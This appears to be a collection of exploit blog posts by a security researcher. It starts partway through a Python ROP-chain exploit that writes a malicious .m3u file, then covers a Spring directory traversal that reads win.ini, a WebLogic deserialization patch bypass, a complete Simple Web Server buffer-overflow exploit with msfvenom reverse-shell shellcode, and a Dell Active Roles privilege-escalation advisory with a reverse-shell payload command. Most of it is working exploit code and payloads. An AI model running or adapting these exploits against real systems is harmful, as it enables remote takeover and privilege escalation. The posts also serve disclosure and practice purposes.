    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}
    0x77c127d5,  # INC EDX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}    


    #[---INFO:gadgets_to_set_ecx:---]     ECX = lpOldProtect (ptr to a Writable address, whose memory protection setting needs to be changed)
    0x100241c3,  # POP ECX # RETN [MSRMfilter03.dll] 
    0x10064511,  # &Writable location [MSRMfilter03.dll]
    

    #[---INFO:gadgets_to_set_edi:---],        EDI = ROP NOP (RETN)
    0x1002bff9,  # POP EDI # RETN [MSRMfilter03.dll] 
    0x1001c121,  # RETN (ROP NOP) [MSRMfilter03.dll]
    

    #[---INFO:gadgets_to_set_eax:---]
    0x10029822,  # POP EAX # RETN [MSRMfilter03.dll] 
    0x90909090,  # nop
    

    #[---INFO:pushad:---]     , PUSH all of the GP registers onto stack to craft paramaters required for VirtualProtect()
    #0x00000000,  # [-] Unable to find pushad gadget
    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll] 

  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  


def main():

  file = "rop.m3u"
  buffer_size = 26072   #Found by pattern_offset.rb
  nops = "\x90" * 240
  junk = "Z" * buffer_size
  eip = struct.pack('<I', 0x100102DC)        #0x100102DC -> Return to stack
  junk2 = "AAAA"    #Compenste, to make sure ESP points at first ROP gadget
  rest  = "C" * 292   #Trop_chain = create_rop_chain()his is to compensate for extra 8 bytes NOPsled added before rop2
  
  rop_chain = create_rop_chain()
  
  payload = junk + eip + junk2 + rop_chain + nops + shellcode + rest 
  print("\n[+]Payload size: ", len(payload))
  print("[+]Shellcode size: ", len(shellcode))


  with open(file, "w") as f:
    f.write(payload)
    f.flush()

  print("\n[+]ROP.m3u created successfully!")

if __name__ == '__main__':
  main()

Β 

Spring Framework Directory Traversal Vulnerability (CVE-2018-1271)

19 February 2019 at 10:32

It’s too late for this blog post but I’ve been caught up with other tasks so couldn’t post this earlier.Β  Anyways, in this blog, we’ll look at how to setup a vulnerable target for CVE-2018-1271 and exploit it.

The issue exists in Spring Framework versions 5.0 to 5.0.4, 4.3 to 4.3.14,Β  allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). It should be noted that there are a few conditions for this vulnerability to be introduced:

  1. The target server is running on Windows.
  2. The application is runningΒ jetty
  3. And, application serves files from the file system usingΒ file:// protocol

Setting up a vulnerable target:

1. Install JDK 1.8 or higher.

2. Download and setup Maven 3.6.0 to C:\Opt\apache-maven-3.6.0

3. Configure Environment Variables:

  • Set JAVA_HOME to C:\Program Files (x86)\Java\jdk1.8.0_171\ or any the path where it’s installed.
  • Set MAVEN_HOME to C:\Opt\apache-maven-3.6.0\
  • Append MAVEN_HOME path to PATH variable: C:\Opt\apache-maven-3.6.0\bin\
  • Launch command prompt and make sure following commands work:
    • mvn -version
    • java -version

4. Now downloadΒ spring-mvc-showcaseΒ sample application either via GIT or download the ZIP:Β  git clone https://github.com/spring-projects/spring-mvc-showcase.git

5. CD intoΒ spring-mvc-showcase-masterΒ directory.

6. Edit POM.XML and setΒ org.springframework-versionΒ to 5.0.0:

POM.XML
Change SpringFramework version to 5.0.0

7. LocateΒ WebMvcConfig.java, it’s usually underΒ ./src/main/java/org/springframework/samples/mvc/config/WebMvcConfig.java

8. EditΒ WebMvcConfig.javaΒ and setΒ registry.addResourceHandlerΒ to following. This is what makes it vulnerable to Directory Traversal:

registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

WebMvcConfig.java
Modify WebMvcConfig.java to use file:// directive

9. Now start the project withΒ jetty:

mvn jetty:run

10. Make sure the server is listening on the port specified, usually port 8080.
11. Now visit following link:

http://:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

12. This should download the WIN.INI file:

Exploiting Path Traversal
Arbitrary file download

WIN.INI
WIN.INI downloaded

References:

Spoock Blog

SeeBugPaper665

Installing Maven on Windows

CVE Published

21 July 2018 at 09:18

Dell/Quest Kace Vulnerabilities Reported through Zero Day Initiative (ZDI)

SAP SQLAnywhere 17.0 Insecure Shared Memory Objects

Dell EMC Avamar and Integrated Data Protection Appliance (IDPA) Installation Manager

Quest Kace Systems Management Appliance Multiple Vulnerabilities:

Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 – Multiple Vulnerabilities:

Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 – Multiple Vulnerabilities:

Dell Active RolesΒ Unquoted Service Path Vulnerability

Sophos Web Security Appliance Session Fixation Vulnerability

D-Link Network Camera DCS-936L Weak CSRF Protection Vulnerability

D-Link DCS Series Cameras – Insecure Crossdomain.XML

D-Link DIR-615 Router Multiple Vulnerabilities

Oracle WebLogic Server Java Deserialization Remote Code Execution Vulnerability (CVE-2018-2628) Bypass

30 April 2018 at 10:10

Oracle patched a critical Java RMI Deserialization vulnerability in WebLogic server earlier this month (CPU April 2018). It was assignedΒ CVE-2018-2628.

However,Β  as @pyn3rdΒ tweeted this morning, it turns out that it was a blacklist based incomplete fix that could be bypassed easily.

#CVE-2018-2628 Weblogic Server Deserialization Remote Command Execution. Unfortunately the Critical Patch Update of 2018.4 can be bypassed easily. pic.twitter.com/Vji19uv4zj

β€” pyn3rd (@pyn3rd) April 28, 2018

7.JPG

As you can see from above screenshot,Β Oracle used a blacklist approach to block java.rmi.registry.RegistryΒ and it was possible to bypass this patch easily using java.rmi.activation.Activator.

Let’s try to exploit a WebLogic server that is already patched for CVE-2018-2628/CPU-April-2018 using ysoserial and an existing exploit forΒ CVE-2018-2628.

WebLogicServerJavaDeserBypass
a quick GIF

2
Patched WebLogic Server

1
Patched WebLogic Server

As you can see the target WebLogic server has patches from Oracle Critical Patch Update for April 2018. Let’s fire up a JRMP Listener using a different payload Jdk7u21Β instead of CommonsCollections1:

3

Let’s run the exploit usingΒ JRMPClient2Β as that uses java.rmi.activation.Activator:

4

And we have an incoming connection from WebLogic Server on our attacking machine’s JRMPListenere over port 1099:

5

and that spawns Calc.exe on the target WebLogic Server!

7

Β 

Simple Web Server 2.2 rc2 – Remote Buffer Overflow (SEH Bypass + Egg Hunter)

2 January 2018 at 10:33

I was looking for a vulnerable application to practice SEH Bypass and Egg Hunting techniques. I foundΒ this exploit on Exploit-DBΒ which exploits a remote buffer overflow vulnerability in Simple Web Server 2.2 rc2.

The author of this vulnerability tested this exploit on a Windows XP machine and it’s a simple EIP overwrite exploit. I decided to modify it for reverse shell using SEH bypass and Egg Hunting as there was not much space left for the shellcode.

Here is the final exploit code:

#!/usr/bin/env python
import sys,socket

# Exploit Title: [Simple Web Server 2.2 rc2 - Remote Buffer Overflow (SEH Bypass + Egg Hunter) ]
# Date: [02/01/2018]
# Vulnerability Credit: [mr.pr0n (@_pr0n_)]
# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot
# Home Page: [https://slidingwindow0xff.wordpress.com/]
# Vendor Homepage: []
# Version: [Simple Web Server 2.2 rc2]
# Tested on: [Windows 7]
# CVE : []
 
 '''
root@kali:~# ./exploit.py 192.168.253.136
[+]Sending junk + egg hunter + shellcode to the target...
[+]Junk sent to the target...
[+]Got shell!!???

'''

if len(sys.argv) <2:
    print "\n[+]Usage:\n ./SimpleWebServer.py \n"
    sys.exit()


target = sys.argv[1]
#junk = "A" * 2300
#pattern_offset.rb shows offset at 2284
#This overwrites SEH record with Bs
#junk = "A" * 2284 + "B" * 4 + "C" * (2300 - 4 )

seh =  "\x7e\x44\xc5\x6f"	#0x6FC5447E	POP ESI, POP EDI, RETN

#junk = "A" * 2284 + seh + "C" * (2300 - 4 )
nseh = "\xeb\xd0\x90\x90"	#EB D0 - Short JMP 46 bytes backwards in memory. This gives us 46 bytes to put our egg hunter routine.
#junk = "A" * (2284 - 46 - len(nseh))+ "B" * 46 + nseh + seh + "C" * (2300 - 4 )
egg = "w00tw00t"	#A 4-byte tag to look for in memory

#32-byte egg hunter
hunter  =(
	"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"
	"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
	"w00t"
	"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.253.132 LPORT=443 -f c -b "\x00\x0a\x0d\x1a" EXITFUNC=thread
#payload size 351 bytes
shellcode = (
"\xdd\xc7\xbb\xf8\xa7\xf4\x99\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x83\xc5\x04\x31\x5d\x13\x03\xa5\xb4\x16\x6c\xa9\x53\x54"
"\x8f\x51\xa4\x39\x19\xb4\x95\x79\x7d\xbd\x86\x49\xf5\x93\x2a"
"\x21\x5b\x07\xb8\x47\x74\x28\x09\xed\xa2\x07\x8a\x5e\x96\x06"
"\x08\x9d\xcb\xe8\x31\x6e\x1e\xe9\x76\x93\xd3\xbb\x2f\xdf\x46"
"\x2b\x5b\x95\x5a\xc0\x17\x3b\xdb\x35\xef\x3a\xca\xe8\x7b\x65"
"\xcc\x0b\xaf\x1d\x45\x13\xac\x18\x1f\xa8\x06\xd6\x9e\x78\x57"
"\x17\x0c\x45\x57\xea\x4c\x82\x50\x15\x3b\xfa\xa2\xa8\x3c\x39"
"\xd8\x76\xc8\xd9\x7a\xfc\x6a\x05\x7a\xd1\xed\xce\x70\x9e\x7a"
"\x88\x94\x21\xae\xa3\xa1\xaa\x51\x63\x20\xe8\x75\xa7\x68\xaa"
"\x14\xfe\xd4\x1d\x28\xe0\xb6\xc2\x8c\x6b\x5a\x16\xbd\x36\x33"
"\xdb\x8c\xc8\xc3\x73\x86\xbb\xf1\xdc\x3c\x53\xba\x95\x9a\xa4"
"\xbd\x8f\x5b\x3a\x40\x30\x9c\x13\x87\x64\xcc\x0b\x2e\x05\x87"
"\xcb\xcf\xd0\x08\x9b\x7f\x8b\xe8\x4b\xc0\x7b\x81\x81\xcf\xa4"
"\xb1\xaa\x05\xcd\x58\x51\xce\x32\x34\xa4\x8a\xdb\x47\x56\x92"
"\xa0\xc1\xb0\xfe\xc6\x87\x6b\x97\x7f\x82\xe7\x06\x7f\x18\x82"
"\x09\x0b\xaf\x73\xc7\xfc\xda\x67\xb0\x0c\x91\xd5\x17\x12\x0f"
"\x71\xfb\x81\xd4\x81\x72\xba\x42\xd6\xd3\x0c\x9b\xb2\xc9\x37"
"\x35\xa0\x13\xa1\x7e\x60\xc8\x12\x80\x69\x9d\x2f\xa6\x79\x5b"
"\xaf\xe2\x2d\x33\xe6\xbc\x9b\xf5\x50\x0f\x75\xac\x0f\xd9\x11"
"\x29\x7c\xda\x67\x36\xa9\xac\x87\x87\x04\xe9\xb8\x28\xc1\xfd"
"\xc1\x54\x71\x01\x18\xdd\x91\xe0\x88\x28\x3a\xbd\x59\x91\x27"
"\x3e\xb4\xd6\x51\xbd\x3c\xa7\xa5\xdd\x35\xa2\xe2\x59\xa6\xde"
"\x7b\x0c\xc8\x4d\x7b\x05")

print "[+]Sending junk + egg hunter + shellcode to the target..."
junk = "A" * (2284 - len(egg) - len(shellcode) - 46 - len(nseh)) + egg + shellcode +  "\x90" * (46 - len(hunter)) +  hunter + nseh + seh + "C" * (2300 - 2284 -  4 )
buf = "GET / HTTP/1.1\n"
buf += "HOST: " + target + "\n"
buf += "User-Agent: Mozilla/5.0 \n" 
buf += "Connection: " + junk + "\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, 80))
sock.send(buf)

print "[+]Junk sent to the target..."
print "[+]Got shell!!???"

Dell Active Roles Unquoted Service Path Privilege Escalation Vulnerability

31 August 2017 at 13:39

# Exploit Title: [Dell Active Roles Unquoted Service Path Privilege Escalation]
# Date: [16/06/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [https://www.oneidentity.com/products/active-roles/]
# Version: [Dell Active Roles versions 7.1, 7.0.4, 7.0.3, 7.0.2, and 7.0 ]
# Tested on: [Dell ActiveRoles version 7.1.2.3406]
# CVE : [GENERIC-MAP-NO-MATCH]

==================
#Product:-
==================
Dell Active Roles (now Quest Active Roles) Server gives Active Directory administrators all the tools necessary to securely and efficiently manage Active Directory, overcoming the native shortcomings of AD and automates the most common AD administration tasks.

==================
#Vulnerability:-
==================
Dell Active Roles Unquoted Service Path Privilege Escalation

========================
#Vulnerability Details:-
========================

=============================================================================================================================
Dell Active Roles Unquoted Service Path Privilege Escalation
=============================================================================================================================
Dell Active Roles installs two services on the system, 'Active Roles Administration Service' and 'Active Roles Synchronization Service'.  Both the services use a search path that contains an unquoted element, in which the element contains white space or other separators.
This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.


#Proof-of-Concept:-
-------------------

1. Create an executable file using MSFVenom:
	msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.6 LPORT=443 -f exe > Active.exe

2. Log into the target with a low privileged account which has write access to the file system ( or has misconfigured ACL).
3. Copy this file to 'C:\Program Files\Dell\' on the target machine.
4. Wait for System reboot or admin to restart Active Roles Synchronization Service.
5. The target machine sends reverse shell after the reboot or when service is restarted.



A successful attempt would require the local attacker must insert an executable file in the path of the service.It could be C:\Program.exe or C:\Program Files\Dell\Active.exe\ for that matter. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

===================================
#Vulnerability Disclosure Timeline:
===================================

16/06/2017: First email to disclose vulnerability to D-Link incident response team.
19/06/2017: Vendor acknowledged the report.
1/09/2017:  Vendor published a KB article for workaround: https://support.oneidentity.com/kb/232543
30/10/2017: Vendor released a fix version 7.2: https://support.oneidentity.com/active-roles/7.2/download-new-releases

❌
❌